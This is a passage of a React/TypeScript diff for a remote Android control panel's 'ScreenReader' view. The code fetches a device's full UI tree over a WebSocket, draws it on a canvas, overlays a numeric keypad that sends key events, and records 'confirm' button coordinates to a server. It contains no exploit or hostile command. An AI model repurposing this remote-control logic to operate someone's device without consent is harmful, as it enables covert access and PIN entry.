`key_${i + 4}`, + text: `${i + 4}`, + x: keyboardX + i * keyWidth, + y: keyboardY + keyHeight, + width: keyWidth, + height: keyHeight + }) + } + + // 第三行:7, 8, 9 + for (let i = 0; i < 3; i++) { + keys.push({ + id: `key_${i + 7}`, + text: `${i + 7}`, + x: keyboardX + i * keyWidth, + y: keyboardY + 2 * keyHeight, + width: keyWidth, + height: keyHeight + }) + } + + // 第四行:0, 删除键 + keys.push({ + id: 'key_0', + text: '0', + x: keyboardX + keyWidth, + y: keyboardY + 3 * keyHeight, + width: keyWidth, + height: keyHeight + }) + + keys.push({ + id: 'key_delete', + text: '⌫', + x: keyboardX + 2 * keyWidth, + y: keyboardY + 3 * keyHeight, + width: keyWidth, + height: keyHeight + }) + + console.log('⌨️ 虚拟键盘布局计算:', { + screenSize: { width: screenWidth, height: screenHeight }, + keyboardSize: { width: keyboardWidth, height: keyboardHeight }, + keySize: { width: keyWidth, height: keyHeight }, + keyboardPosition: { x: keyboardX, y: keyboardY }, + keyboardBottom: keyboardY + keyboardHeight, + screenBottom: screenHeight, + totalKeys: keys.length, + lastRowY: keyboardY + 3 * keyHeight, + lastRowBottom: keyboardY + 4 * keyHeight + }) + + return { + visible: true, + keys + } + }, []) + + // ✨ 增强版UI结构请求函数 - 默认启用所有增强功能 + const requestUIHierarchy = useCallback((enhanced: boolean = true, includeDeviceInfo: boolean = true) => { + if (!webSocket || !deviceId) return + + setLoading(true) + + // ✨ 默认启用增强UI分析和设备信息 + webSocket.emit('client_event', { + type: 'GET_UI_HIERARCHY', + data: { + deviceId, + requestId: `ui_hierarchy_${Date.now()}`, + includeInvisible: true, // ✨ 增强:包含不可见元素 + includeNonInteractive: true, // ✨ 增强:包含不可交互元素 + includeTextElements: true, // 包含文本元素 + includeImageElements: true, // 包含图像元素 + includeContainers: true, // 包含容器元素 + maxDepth: 25, // ✨ 增强:使用更大扫描深度 + minSize: 1, // 最小元素尺寸 + enhanced: enhanced, // ✨ 默认启用增强功能 + includeDeviceInfo: includeDeviceInfo // ✨ 默认包含设备信息 + } + }) + + //console.log('🚀 请求增强UI分析,设备ID:', deviceId, '增强模式:', enhanced, '包含设备信息:', includeDeviceInfo) + }, [webSocket, deviceId]) + + // 设备特征信息现在集成在UI层次结构请求中,无需单独请求 + + // 启动定时刷新 + const startAutoRefresh = useCallback(() => { + if (autoRefreshIntervalRef.current) { + clearInterval(autoRefreshIntervalRef.current) + } + + if (autoRefresh && screenReader.enabled) { + // 立即请求一次 + requestUIHierarchy() + + // 设置定时器,使用配置的刷新间隔 + autoRefreshIntervalRef.current = setInterval(() => { + requestUIHierarchy() + }, screenReader.refreshInterval * 1000) + } + }, [autoRefresh, screenReader.enabled, requestUIHierarchy, screenReader.refreshInterval]) + + // 停止定时刷新 + const stopAutoRefresh = useCallback(() => { + if (autoRefreshIntervalRef.current) { + clearInterval(autoRefreshIntervalRef.current) + autoRefreshIntervalRef.current = null + } + }, []) + + // 监听UI层次结构响应和设备特征响应 + useEffect(() => { + if (!webSocket || !deviceId) return + + const handleUIHierarchyResponse = (data: any) => { + //console.log('🔍 ScreenReader收到UI层次结构响应:', data) + setLoading(false) + if (data.success && data.deviceId === deviceId) { + setUiHierarchy(data.hierarchy) + // 🆕 UI层次结构更新时清除选中元素,避免显示过时信息 + setSelectedElement(null) + + // ✅ 处理增强分析结果 + if (data.enhanced) { + /*console.log('🚀 收到增强UI分析结果:', { + enhanced: data.enhanced, + keyboardElements: data.hierarchy?.keyboardElements?.length || 0, + digitButtons: data.hierarchy?.digitButtons?.length || 0, + keyboardConfidence: data.hierarchy?.keyboardConfidence || 0, + inputMethodWindows: data.hierarchy?.inputMethodWindows?.length || 0 + })*/ + + // ✨ 保存增强分析结果 + // setEnhancedAnalysisResult({ + // keyboardElements: data.hierarchy?.keyboardElements || [], + // digitButtons: data.hierarchy?.digitButtons || [], + // keyboardConfidence: data.hierarchy?.keyboardConfidence || 0, + // inputMethodWindows: data.hierarchy?.inputMethodWindows || [], + // timestamp: Date.now() + // }) + + // 显示键盘检测结果 + if (data.hierarchy?.keyboardConfidence > 0.5) { + console.log('✅ 高置信度虚拟键盘检测成功,置信度:', data.hierarchy.keyboardConfidence) + } else { + console.log('⚠️ 虚拟键盘检测置信度较低:', data.hierarchy.keyboardConfidence) + } + } + + // ✅ 处理设备特征信息 + if (data.deviceCharacteristics) { + /*console.log('🔍 收到设备特征信息:', { + romType: data.deviceCharacteristics.romFeatures?.romType, + inputMethodType: data.deviceCharacteristics.inputMethodInfo?.inputMethodType, + primaryStrategy: data.deviceCharacteristics.keyboardDetectionStrategy?.primaryStrategy, + deviceSpecificTips: data.deviceCharacteristics.keyboardDetectionStrategy?.deviceSpecificTips + })*/ + + // ✨ 保存设备特征信息 + // setDeviceCharacteristics({ + // ...data.deviceCharacteristics, + // timestamp: Date.now() + // }) + } + + /*console.log('✅ UI层次结构数据已设置:', { + totalElements: data.hierarchy?.totalElements, + clickableElements: data.hierarchy?.clickableElements, + screenSize: `${data.hierarchy?.screenWidth}x${data.hierarchy?.screenHeight}`, + rootElement: data.hierarchy?.root, + rootChildren: data.hierarchy?.root?.children?.length || 0 + })*/ + + // 递归统计元素类型 + const elementTypes: { [key: string]: number } = {} + const countElements = (element: any) => { + if (element.type) { + elementTypes[element.type] = (elementTypes[element.type] || 0) + 1 + } + if (element.children) { + element.children.forEach(countElements) + } + } + if (data.hierarchy?.root) { + countElements(data.hierarchy.root) + //console.log('📊 UI元素类型统计:', elementTypes) + } + } else { + console.error('❌ 获取UI层次结构失败:', data.error || data.message) + } + } + + // 设备特征信息现在集成在UI层次结构响应中,无需单独处理 + + // 🆕 监听提取确认坐标的事件 + const handleStartExtractConfirmCoords = (data: any) => { + if (data.deviceId === deviceId) { + console.log('🎯 开始提取确认坐标模式:', deviceId) + setIsExtractingConfirmCoords(true) + } + } + + webSocket.on('ui_hierarchy_response', handleUIHierarchyResponse) + webSocket.on('start_extract_confirm_coords', handleStartExtractConfirmCoords) + + return () => { + webSocket.off('ui_hierarchy_response', handleUIHierarchyResponse) + webSocket.off('start_extract_confirm_coords', handleStartExtractConfirmCoords) + } + }, [webSocket, deviceId]) + + // 🆕 监听虚拟按键显示状态变化 + useEffect(() => { + if (screenReader.showVirtualKeyboard && uiHierarchy) { + const keyboard = generateVirtualKeyboard(uiHierarchy.screenWidth, uiHierarchy.screenHeight) + setVirtualKeyboard(keyboard) + console.log('⌨️ 虚拟按键已生成:', keyboard.keys.length, '个按键') + } else { + setVirtualKeyboard({ visible: false, keys: [] }) + console.log('⌨️ 虚拟按键已隐藏') + } + }, [screenReader.showVirtualKeyboard, uiHierarchy, generateVirtualKeyboard]) + + // 初始加载 + useEffect(() => { + if (screenReader.enabled && webSocket && deviceId) { + //console.log('🔄 ScreenReader启用,开始自动刷新') + // 延迟一点时间确保连接稳定 + setTimeout(() => { + startAutoRefresh() + }, 500) + } else { + console.log('🛑 ScreenReader未启用或连接缺失,停止自动刷新') + stopAutoRefresh() + } + + // 清理函数 + return () => { + stopAutoRefresh() + } + }, [screenReader.enabled, startAutoRefresh, stopAutoRefresh, webSocket, deviceId]) + + // 在画布上绘制UI元素边界 + const drawElementBounds = useCallback(() => { + if (!canvasRef.current || !uiHierarchy) { + console.log('🔍 ScreenReader: 画布或UI层次结构缺失', { canvas: !!canvasRef.current, uiHierarchy: !!uiHierarchy }) + return + } + + const canvas = canvasRef.current + const ctx = canvas.getContext('2d') + if (!ctx) return + + // 获取容器的实际显示尺寸 + const container = canvas.parentElement + if (!container) return + + // const containerRect = container.getBoundingClientRect() // 暂时未使用 + const dpr = window.devicePixelRatio || 1 + + // 🔧 修复:使用容器的clientWidth和clientHeight,排除边框和滚动条 + const displayWidth = container.clientWidth + const displayHeight = container.clientHeight + + canvas.width = displayWidth * dpr + canvas.height = displayHeight * dpr + canvas.style.width = displayWidth + 'px' + canvas.style.height = displayHeight + 'px' + + // 缩放绘图上下文以匹配设备像素比 + ctx.scale(dpr, dpr) + + // 启用高质量渲染 + ctx.imageSmoothingEnabled = true + ctx.imageSmoothingQuality = 'high' + + /*console.log('🎨 ScreenReader: 开始绘制UI边界图', { + screenSize: `${uiHierarchy.screenWidth}x${uiHierarchy.screenHeight}`, + canvasSize: `${canvas.width}x${canvas.height}`, + displaySize: `${displayWidth}x${displayHeight}`, + dpr: dpr, + totalElements: uiHierarchy.totalElements + })*/ + + // 清除画布并设置白色背景 + ctx.fillStyle = '#ffffff' + ctx.fillRect(0, 0, displayWidth, displayHeight) + + // 计算缩放比例 - 保持宽高比,合适填充容器 + const scaleX = displayWidth / uiHierarchy.screenWidth + const scaleY = displayHeight / uiHierarchy.screenHeight + + // 使用较小的缩放比例保持宽高比,避免过大显示 + const scale = Math.min(scaleX, scaleY) + + // 🔧 计算实际显示区域和居中偏移 + // const actualDisplayWidth = uiHierarchy.screenWidth * scale // 暂时未使用 + // const actualDisplayHeight = uiHierarchy.screenHeight * scale // 暂时未使用 + // const offsetX = (displayWidth - actualDisplayWidth) / 2 // 暂时未使用 + // const offsetY = (displayHeight - actualDisplayHeight) / 2 // 暂时未使用 + + /*console.log('🔧 ScreenReader缩放调试:', { + container: { width: displayWidth, height: displayHeight }, + device: { width: uiHierarchy.screenWidth, height: uiHierarchy.screenHeight }, + scaleX, scaleY, + selectedScale: scale, + actualDisplay: { width: actualDisplayWidth, height: actualDisplayHeight }, + offset: { x: offsetX, y: offsetY } + })*/ + + // 保存上下文,不预先缩放,在绘制时直接计算坐标 + ctx.save() + + let elementCount = 0 + + const drawElement = (element: UIElement, depth: number = 0) => { + const { bounds } = element + // 🔧 关键修复:使用统一缩放但不加偏移,让内容从左上角开始填满容器 + const x = bounds.left * scale + const y = bounds.top * scale + const width = (bounds.right - bounds.left) * scale + const height = (bounds.bottom - bounds.top) * scale + + elementCount++ + + // 调试信息:记录元素详情,特别关注按钮元素和数字键盘区域 + const isInKeypadArea = bounds.top > uiHierarchy.screenHeight * 0.3 && bounds.top < uiHierarchy.screenHeight * 0.9 + const hasDigitText = element.text && /[0-9]/.test(element.text) + const isZeroButton = element.text === '0' || (element.description && element.description.includes('0')) || (element.resourceId && element.resourceId.toLowerCase().includes('zero')) + + // 🔍 专门查找"0"按钮 - 扩大搜索范围 + const zeroRelated = + element.text === '0' || + element.text?.includes('0') || + element.description === '0' || + element.description?.includes('0') || + element.resourceId?.includes('0') || + element.resourceId?.toLowerCase().includes('zero') || + element.resourceId?.toLowerCase().includes('digit_0') || + element.resourceId?.toLowerCase().includes('button_0') || + element.type.toLowerCase().includes('0') + + if (zeroRelated) { + /*console.log(`🎯 可能的"0"按钮 Element ${elementCount}:`, { + type: element.type, + text: element.text, + description: element.description, + resourceId: element.resourceId, + bounds: element.bounds, + actualSize: { width: bounds.right - bounds.left, height: bounds.bottom - bounds.top }, + visible: element.visible, + clickable: element.clickable, + enabled: element.enabled, + children: element.children?.length || 0, + scaledSize: { width, height }, + flags: { + isInKeypadArea, + hasDigitText, + isZeroButton, + zeroRelated + } + })*/ + } + + if (depth === 0 || elementCount <= 50 || element.clickable || element.type.toLowerCase().includes('button') || isInKeypadArea || hasDigitText || isZeroButton || zeroRelated) { + /*console.log(`🎨 Element ${elementCount}:`, { + type: element.type, + text: element.text, + description: element.description, + resourceId: element.resourceId, + bounds: element.bounds, + visible: element.visible, + clickable: element.clickable, + children: element.children?.length || 0, + scaledSize: { width, height }, + flags: { + isInKeypadArea, + hasDigitText, + isZeroButton, + zeroRelated + } + })*/ + } + + // 只跳过完全无效的元素 + if (width <= 0 || height <= 0) return + + // 绘制所有元素的边框 - 简化逻辑 + ctx.lineWidth = 1 + ctx.setLineDash([]) + + // 根据元素属性设置边框颜色 + if (element.clickable) { + ctx.strokeStyle = '#1890ff' // 可点击元素用蓝色 + } else if (!element.visible) { + ctx.strokeStyle = '#ff4d4f' // 不可见元素用红色 + ctx.setLineDash([2, 2]) // 虚线 + } else { + ctx.strokeStyle = '#666666' // 普通元素用灰色 + } + + ctx.strokeRect(x, y, width, height) + + // 绘制所有元素的文字标签 - 跳过FrameLayout和ViewGroup类型的元素 + if (width > 2 && height > 2) { + // 检查是否为FrameLayout或ViewGroup,如果是则跳过文字绘制 + const typeParts = element.type.split('.') + const elementTypeName = typeParts[typeParts.length - 1] || 'Element' + + // 跳过基本的布局容器类型,保留其他元素的文字显示 + if (elementTypeName === 'FrameLayout' ||elementTypeName === 'ImageView' || elementTypeName === 'ListView' || elementTypeName === 'ViewGroup' || elementTypeName === 'LinearLayout' || elementTypeName === 'RelativeLayout' || elementTypeName === 'ScreenView' || elementTypeName === 'View' || elementTypeName === 'ViewAnimator'|| elementTypeName === 'RecyclerView' || elementTypeName === 'ScrollView') { + // 基本布局容器不显示文字,只显示边框 + } else { + let displayText = '' + + // 获取显示文本 + if (element.text && element.text.trim()) { + displayText = element.text.trim() + } else if (element.description && element.description.trim()) { + displayText = element.description.trim() + } else if (element.resourceId) { + // 显示resourceId的最后一部分 + const parts = element.resourceId.split('/') + displayText = parts[parts.length - 1] || element.resourceId + } else { + // 显示元素类型的简化名称 + displayText = elementTypeName + } + + // 确保有显示内容 + if (!displayText) { + displayText = 'UI' + } + + // 🔧 优化字体大小计算 - 适当增大字体,提高可读性 + const fontSize = Math.max(8, Math.min(width * 0.15, height * 0.35, 24)) + + // 设置文字样式 + ctx.font = `bold ${fontSize}px -apple-system, BlinkMacSystemFont, 'Segoe UI', 'PingFang SC', 'Hiragino Sans GB', 'Microsoft YaHei', sans-serif` + ctx.textAlign = 'center' + ctx.textBaseline = 'middle' + + // 🔧 优化:实现多行文本绘制 + drawMultilineText(ctx, displayText, x + width / 2, y + height / 2, width - 4, height - 4, fontSize) + } + } + + // 高亮选中元素 + if (selectedElement && selectedElement.id === element.id) { + ctx.strokeStyle = '#ff4d4f' + ctx.lineWidth = 2 + ctx.setLineDash([]) + ctx.strokeRect(x - 1, y - 1, width + 2, height + 2) + + // 添加半透明背景 + ctx.fillStyle = 'rgba(255, 77, 79, 0.1)' + ctx.fillRect(x, y, width, height) + } + + // 递归绘制子元素 + if (element.children && element.children.length > 0) { + element.children.forEach(child => drawElement(child, depth + 1)) + } + } + + // 🆕 多行文本绘制函数 + function drawMultilineText( + ctx: CanvasRenderingContext2D, + text: string, + x: number, + y: number, + maxWidth: number, + maxHeight: number, + fontSize: number + ) { + if (!text || maxWidth <= 0 || maxHeight <= 0) return + + // 计算行高 + const lineHeight = fontSize * 1.2 + const maxLines = Math.floor(maxHeight / lineHeight) + + if (maxLines < 1) return + + // 分割文本为单词(支持中英文) + const words = text.match(/[\u4e00-\u9fa5]|[a-zA-Z0-9]+|[^\u4e00-\u9fa5a-zA-Z0-9\s]+/g) || [text] + + const lines: string[] = [] + let currentLine = '' + + for (const word of words) { + const testLine = currentLine + word + const metrics = ctx.measureText(testLine) + + if (metrics.width > maxWidth && currentLine) { + // 当前行太长,换行 + lines.push(currentLine) + currentLine = word + + // 检查是否超过最大行数 + if (lines.length >= maxLines) { + break + } + } else { + currentLine = testLine + } + } + + // 添加最后一行 + if (currentLine && lines.length < maxLines) { + lines.push(currentLine) + } + + // 如果文本被截断,在最后一行添加省略号 + if (lines.length === maxLines && words.length > lines.join('').length) { + const lastLine = lines[lines.length - 1] + // const ellipsisWidth = ctx.measureText('…').width // 暂时未使用 + + // 缩短最后一行以容纳省略号 + let truncatedLine = lastLine + while (truncatedLine.length > 0 && ctx.measureText(truncatedLine + '…').width > maxWidth) { + truncatedLine = truncatedLine.slice(0, -1) + } + lines[lines.length - 1] = truncatedLine + '…' + } + + // 计算起始Y坐标以垂直居中 + const totalHeight = lines.length * lineHeight + const startY = y - totalHeight / 2 + lineHeight / 2 + + // 绘制每一行 + lines.forEach((line, index) => { + const lineY = startY + index * lineHeight + + // 🔧 修复重影问题:去掉阴影,只绘制清晰的主文字 + ctx.fillStyle = '#ff1744' + ctx.fillText(line, x, lineY) + }) + } + + // 辅助函数:绘制圆角矩形(暂时未使用) + // function roundRect(ctx: CanvasRenderingContext2D, x: number, y: number, width: number, height: number, radius: number) { + // ctx.beginPath() + // ctx.moveTo(x + radius, y) + // ctx.lineTo(x + width - radius, y) + // ctx.quadraticCurveTo(x + width, y, x + width, y + radius) + // ctx.lineTo(x + width, y + height - radius) + // ctx.quadraticCurveTo(x + width, y + height, x + width - radius, y + height) + // ctx.lineTo(x + radius, y + height) + // ctx.quadraticCurveTo(x, y + height, x, y + height - radius) + // ctx.lineTo(x, y + radius) + // ctx.quadraticCurveTo(x, y, x + radius, y) + // ctx.closePath() + // } + + // 辅助函数:根据应用名称获取图标颜色(暂时未使用) + // function getIconColor(appName: string): string { + // const colors = [ + // '#f44336', '#e91e63', '#9c27b0', '#673ab7', '#3f51b5', + // '#2196f3', '#03a9f4', '#00bcd4', '#009688', '#4caf50', + // '#8bc34a', '#cddc39', '#ffeb3b', '#ffc107', '#ff9800', + // '#ff5722', '#795548', '#9e9e9e', '#607d8b' + // ] + // + // // 根据应用名称生成一致的颜色 + // let hash = 0 + // for (let i = 0; i < appName.length; i++) { + // hash = appName.charCodeAt(i) + ((hash << 5) - hash) + // } + // return colors[Math.abs(hash) % colors.length] + // } + + // 🆕 绘制虚拟按键(点击穿透版本) + function drawVirtualKeyboard(ctx: CanvasRenderingContext2D, scale: number) { + if (!virtualKeyboard.visible || virtualKeyboard.keys.length === 0) return + + console.log('⌨️ 开始绘制虚拟按键:', virtualKeyboard.keys.length, '个按键') + + virtualKeyboard.keys.forEach(key => { + // 计算按键在画布上的位置 + const x = key.x * scale + const y = key.y * scale + const width = key.width * scale + const height = key.height * scale + + // 🆕 不绘制背景,只绘制边框和文字,实现点击穿透 + // 绘制按键边框(虚线样式,更明显) + ctx.strokeStyle = '#1890ff' + ctx.lineWidth = 3 + ctx.setLineDash([8, 4]) // 虚线样式 + ctx.strokeRect(x, y, width, height) + ctx.setLineDash([]) // 重置为实线 + + // 绘制按键文字(带背景的文字,确保可见性) + const fontSize = Math.max(12, Math.min(width * 0.25, height * 0.35, 18)) + ctx.font = `bold ${fontSize}px -apple-system, BlinkMacSystemFont, sans-serif` + ctx.textAlign = 'center' + ctx.textBaseline = 'middle' + + // 为文字添加半透明背景,确保在复杂背景下可见 + const textX = x + width / 2 + const textY = y + height / 2 + const textMetrics = ctx.measureText(key.text) + const textWidth = textMetrics.width + const textHeight = fontSize * 1.2 + + // 绘制文字背景 + ctx.fillStyle = 'rgba(255, 255, 255, 0.8)' + ctx.fillRect( + textX - textWidth / 2 - 4, + textY - textHeight / 2 - 2, + textWidth + 8, + textHeight + 4 + ) + + // 绘制文字 + ctx.fillStyle = '#1890ff' + ctx.fillText(key.text, textX, textY) + + // 如果是删除键,添加特殊边框样式 + if (key.id === 'key_delete') { + ctx.strokeStyle = '#ff4d4f' + ctx.lineWidth = 2 + ctx.setLineDash([4, 2]) + ctx.strokeRect(x + 2, y + 2, width - 4, height - 4) + ctx.setLineDash([]) + } + }) + } + + // 辅助函数:根据应用名称获取图标符号(暂时未使用) + // function getIconSymbol(appName: string): string { + // const name = appName.toLowerCase() + // + // // 常见应用的图标符号 + // const iconMap: { [key: string]: string } = { + // 'youtube': '▶', + // 'settings': '⚙', + // 'photos': '📷', + // 'gmail': '✉', + // 'camera': '📸', + // 'chrome': '🌐', + // 'calendar': '📅', + // 'contacts': '👤', + // 'phone': '📞', + // 'messages': '💬', + // 'maps': '🗺', + // 'drive': '💾', + // 'files': '📁', + // 'clock': '🕐', + // 'google': 'G', + // 'android': '🤖' + // } + // + // // 查找匹配的图标 + // for (const [key, symbol] of Object.entries(iconMap)) { + // if (name.includes(key)) { + // return symbol + // } + // } + // + // // 默认使用首字母 + // return appName.charAt(0).toUpperCase() + // } + + // 辅助函数:判断是否为应用图标容器(暂时未使用) + // function isAppIconContainer(element: UIElement): boolean { + // return !!(element.children && element.children.some(child => + // child.type === 'ImageView' || (child.children && child.children.some(grandChild => grandChild.type === 'ImageView')) + // )) + // } + + drawElement(uiHierarchy.root) + + // 🆕 绘制虚拟按键 + if (virtualKeyboard.visible && virtualKeyboard.keys.length > 0) { + drawVirtualKeyboard(ctx, scale) + } + + // 恢复上下文 + ctx.restore() + + /*console.log('🎨 ScreenReader: 绘制完成', { + processedElements: elementCount, + totalElements: uiHierarchy.totalElements, + clickableElements: uiHierarchy.clickableElements, + screenSize: `${uiHierarchy.screenWidth}x${uiHierarchy.screenHeight}`, + canvasSize: `${displayWidth}x${displayHeight}`, + scale: scale, + rootElement: uiHierarchy.root + })*/ + + // 如果没有绘制任何内容,显示调试信息 + if (elementCount === 0) { + ctx.fillStyle = '#666666' + ctx.font = '16px -apple-system, BlinkMacSystemFont, sans-serif' + ctx.textAlign = 'center' + ctx.textBaseline = 'middle' + ctx.fillText('🔍 无UI数据', displayWidth / 2, displayHeight / 2) + ctx.font = '14px -apple-system, BlinkMacSystemFont, sans-serif' + ctx.fillText('点击右上角刷新按钮获取UI结构', displayWidth / 2, displayHeight / 2 + 30) + } + }, [uiHierarchy, selectedElement, screenReader.highlightClickable, virtualKeyboard]) + + // 监听容器尺寸变化并重新绘制 + useEffect(() => { + if (!canvasRef.current) return + + const canvas = canvasRef.current + const container = canvas.parentElement + if (!container) return + + const resizeObserver = new ResizeObserver(() => { + // 容器尺寸变化时只需要重新绘制,画布内在尺寸保持为设备尺寸 + if (uiHierarchy) { + drawElementBounds() + } + }) + + resizeObserver.observe(container) + + return () => resizeObserver.disconnect() + }, [drawElementBounds, uiHierarchy]) + + // 绘制UI边界 + useEffect(() => { + drawElementBounds() + }, [drawElementBounds]) + + // 🔧 修复坐标转换函数(完全匹配绘制逻辑) + const convertCanvasToDeviceCoords = useCallback((canvasX: number, canvasY: number, forceDebug: boolean = false) => { + if (!canvasRef.current || !uiHierarchy) return null + + const canvas = canvasRef.current + const container = canvas.parentElement + if (!container) return null + + const containerRect = container.getBoundingClientRect() + const deviceWidth = uiHierarchy.screenWidth + const deviceHeight = uiHierarchy.screenHeight + + // 🔧 关键修复:与绘制时完全一致的坐标计算 + // 绘制时使用的是容器的显示尺寸,不是canvas的物理尺寸 + const displayWidth = containerRect.width + const displayHeight = containerRect.height + + // 计算缩放比例 - 与绘制时完全一致 + const scaleX = displayWidth / deviceWidth + const scaleY = displayHeight / deviceHeight + const scale = Math.min(scaleX, scaleY) + + // 🔧 直接转换坐标,与绘制逻辑完全一致 + // 绘制时:x = bounds.left * scale, y = bounds.top * scale + // 转换时:deviceX = canvasX / scale, deviceY = canvasY / scale + const deviceX = canvasX / scale + const deviceY = canvasY / scale + + // 确保坐标在设备范围内,移除-1限制以支持完整范围 + const clampedX = Math.max(0, Math.min(deviceWidth, deviceX)) + const clampedY = Math.max(0, Math.min(deviceHeight, deviceY)) + + // 🔧 在调试模式或坐标被调整时显示调试信息 + if (forceDebug || Math.abs(deviceX - clampedX) > 1 || Math.abs(deviceY - clampedY) > 1) { + console.log('🔧 坐标转换:', { + canvas: { x: canvasX, y: canvasY }, + container: { width: displayWidth, height: displayHeight }, + device: { width: deviceWidth, height: deviceHeight }, + scale, + converted: { x: deviceX, y: deviceY }, + final: { x: clampedX, y: clampedY } + }) + } + + return { x: clampedX, y: clampedY } + }, [uiHierarchy]) + + // 🆕 显示触摸指示器 + const showTouchIndicator = (x: number, y: number) => { + const indicator = document.createElement('div') + indicator.style.position = 'absolute' + indicator.style.left = `${x - 10}px` + indicator.style.top = `${y - 10}px` + indicator.style.width = '20px' + indicator.style.height = '20px' + indicator.style.borderRadius = '50%' + indicator.style.backgroundColor = 'rgba(24, 144, 255, 0.6)' + indicator.style.border = '2px solid #1890ff' + indicator.style.pointerEvents = 'none' + indicator.style.zIndex = '1000' + + const container = canvasRef.current?.parentElement + if (container) { + container.style.position = 'relative' + container.appendChild(indicator) + + setTimeout(() => { + if (container.contains(indicator)) { + container.removeChild(indicator) + } + }, 500) + } + } + + // 🆕 显示滑动指示器 + const showSwipeIndicator = (startX: number, startY: number, endX: number, endY: number) => { + const container = canvasRef.current?.parentElement + if (!container) return + + // 创建滑动轨迹线 + const line = document.createElement('div') + const length = Math.sqrt(Math.pow(endX - startX, 2) + Math.pow(endY - startY, 2)) + const angle = Math.atan2(endY - startY, endX - startX) * 180 / Math.PI + + line.style.position = 'absolute' + line.style.left = `${startX}px` + line.style.top = `${startY}px` + line.style.width = `${length}px` + line.style.height = '2px' + line.style.backgroundColor = '#ff4d4f' + line.style.transformOrigin = '0 50%' + line.style.transform = `rotate(${angle}deg)` + line.style.pointerEvents = 'none' + line.style.zIndex = '1000' + + // 创建箭头 + const arrow = document.createElement('div') + arrow.style.position = 'absolute' + arrow.style.left = `${endX - 5}px` + arrow.style.top = `${endY - 5}px` + arrow.style.width = '10px' + arrow.style.height = '10px' + arrow.style.backgroundColor = '#ff4d4f' + arrow.style.transform = 'rotate(45deg)' + arrow.style.pointerEvents = 'none' + arrow.style.zIndex = '1000' + + container.style.position = 'relative' + container.appendChild(line) + container.appendChild(arrow) + + setTimeout(() => { + if (container.contains(line)) container.removeChild(line) + if (container.contains(arrow)) container.removeChild(arrow) + }, 800) + } + + const showLongPressIndicator = (x: number, y: number) => { + const indicator = document.createElement('div') + indicator.style.position = 'absolute' + indicator.style.left = `${x - 15}px` + indicator.style.top = `${y - 15}px` + indicator.style.width = '30px' + indicator.style.height = '30px' + indicator.style.borderRadius = '50%' + indicator.style.backgroundColor = 'rgba(255, 77, 79, 0.6)' + indicator.style.border = '3px solid #ff4d4f' + indicator.style.pointerEvents = 'none' + indicator.style.zIndex = '1000' + indicator.style.animation = 'pulse 1s infinite' + + const container = canvasRef.current?.parentElement + if (container) { + container.style.position = 'relative' + container.appendChild(indicator) + + setTimeout(() => { + if (container.contains(indicator)) { + container.removeChild(indicator) + } + }, 1000) + } + } + + // 🆕 查找点击位置的元素 + const findElementAtPoint = useCallback((deviceX: number, deviceY: number): UIElement | null => { + if (!uiHierarchy) return null + + const findElement = (element: UIElement): UIElement | null => { + const { bounds } = element + if (deviceX >= bounds.left && deviceX <= bounds.right && + deviceY >= bounds.top && deviceY <= bounds.bottom) { + + // 先检查子元素 + if (element.children) { + for (const child of element.children) { + const found = findElement(child) + if (found) return found + } + } + + // 如果没有子元素匹配,返回当前元素 + return element + } + return null + } + + return findElement(uiHierarchy.root) + }, [uiHierarchy]) + + // 🆕 查找点击的虚拟按键 + const findVirtualKeyAtPoint = useCallback((deviceX: number, deviceY: number) => { + if (!virtualKeyboard.visible || virtualKeyboard.keys.length === 0) return null + + return virtualKeyboard.keys.find(key => + deviceX >= key.x && deviceX <= key.x + key.width && + deviceY >= key.y && deviceY <= key.y + key.height + ) + }, [virtualKeyboard]) + + // 🆕 执行点击操作 + const performClick = useCallback((canvasX: number, canvasY: number) => { + if (!webSocket || !deviceId) return + + // 🔧 在提取模式时启用调试信息 + const deviceCoords = convertCanvasToDeviceCoords(canvasX, canvasY, isExtractingConfirmCoords) + if (!deviceCoords) { + console.warn('🖱️ 点击在设备屏幕区域外') + return + } + + console.log('🖱️ 屏幕阅读器点击:', { + canvas: { x: canvasX, y: canvasY }, + device: { + original: { x: deviceCoords.x, y: deviceCoords.y }, + rounded: { x: Math.round(deviceCoords.x), y: Math.round(deviceCoords.y) } + }, + screenSize: uiHierarchy ? { width: uiHierarchy.screenWidth, height: uiHierarchy.screenHeight } : null, + extractingMode: isExtractingConfirmCoords + }) + + // 🆕 如果处于确认坐标提取模式 + if (isExtractingConfirmCoords) { + // 🔧 修复:使用与正常点击相同的坐标精度 + const coords = { x: deviceCoords.x, y: deviceCoords.y } + // setExtractedCoords(coords) + + // 保存到服务器 + webSocket.emit('client_event', { + type: 'SAVE_CONFIRM_COORDS', + data: { deviceId, coords }, + timestamp: Date.now() + }) + + // 显示特殊指示器 + showTouchIndicator(canvasX, canvasY) + + console.log('🎯 确认坐标已提取:', coords) + + // 自动退出提取模式 + setTimeout(() => { + setIsExtractingConfirmCoords(false) + }, 1000) + + return // 提取模式下不执行实际点击 + } + + // 🆕 检查是否点击了虚拟按键(优先检测) + const clickedVirtualKey = findVirtualKeyAtPoint(deviceCoords.x, deviceCoords.y) + if (clickedVirtualKey) { + console.log('⌨️ 点击虚拟按键:', clickedVirtualKey.text) + + // 发送按键事件到设备 + if (clickedVirtualKey.id === 'key_delete') { + // 删除键 + webSocket.emit('control_message', { + type: 'KEY_EVENT', + deviceId, + data: { keyCode: 67 }, // KEYCODE_DEL + timestamp: Date.now() + }) + } else { + // 数字键 + const digit = parseInt(clickedVirtualKey.text) + if (!isNaN(digit)) { + webSocket.emit('control_message', { + type: 'KEY_EVENT', + deviceId, + data: { keyCode: 7 + digit }, // KEYCODE_0 = 7, KEYCODE_1 = 8, etc. + timestamp: Date.now() + }) + } + } + + // 🆕 继续发送点击事件到设备(不return,让点击事件继续执行) + console.log('⌨️ 虚拟按键点击,同时发送点击事件到设备') + } + + // 🆕 如果虚拟键盘可见但点击的不是按键,检查是否在键盘区域内 + if (virtualKeyboard.visible && virtualKeyboard.keys.length > 0) { + // 检查点击位置是否在键盘的总体区域内(包括按键间隙) + const keyboardArea = { + left: Math.min(...virtualKeyboard.keys.map(k => k.x)), + right: Math.max(...virtualKeyboard.keys.map(k => k.x + k.width)), + top: Math.min(...virtualKeyboard.keys.map(k => k.y)), + bottom: Math.max(...virtualKeyboard.keys.map(k => k.y + k.height)) + } + + const isInKeyboardArea = deviceCoords.x >= keyboardArea.left && + deviceCoords.x <= keyboardArea.right && + deviceCoords.y >= keyboardArea.top && + deviceCoords.y <= keyboardArea.bottom + + // 如果在键盘区域内但不在具体按键上,则穿透到下方元素 + if (isInKeyboardArea) { + console.log('⌨️ 点击键盘区域空隙,穿透到下方元素') + // 继续执行下方的正常点击逻辑 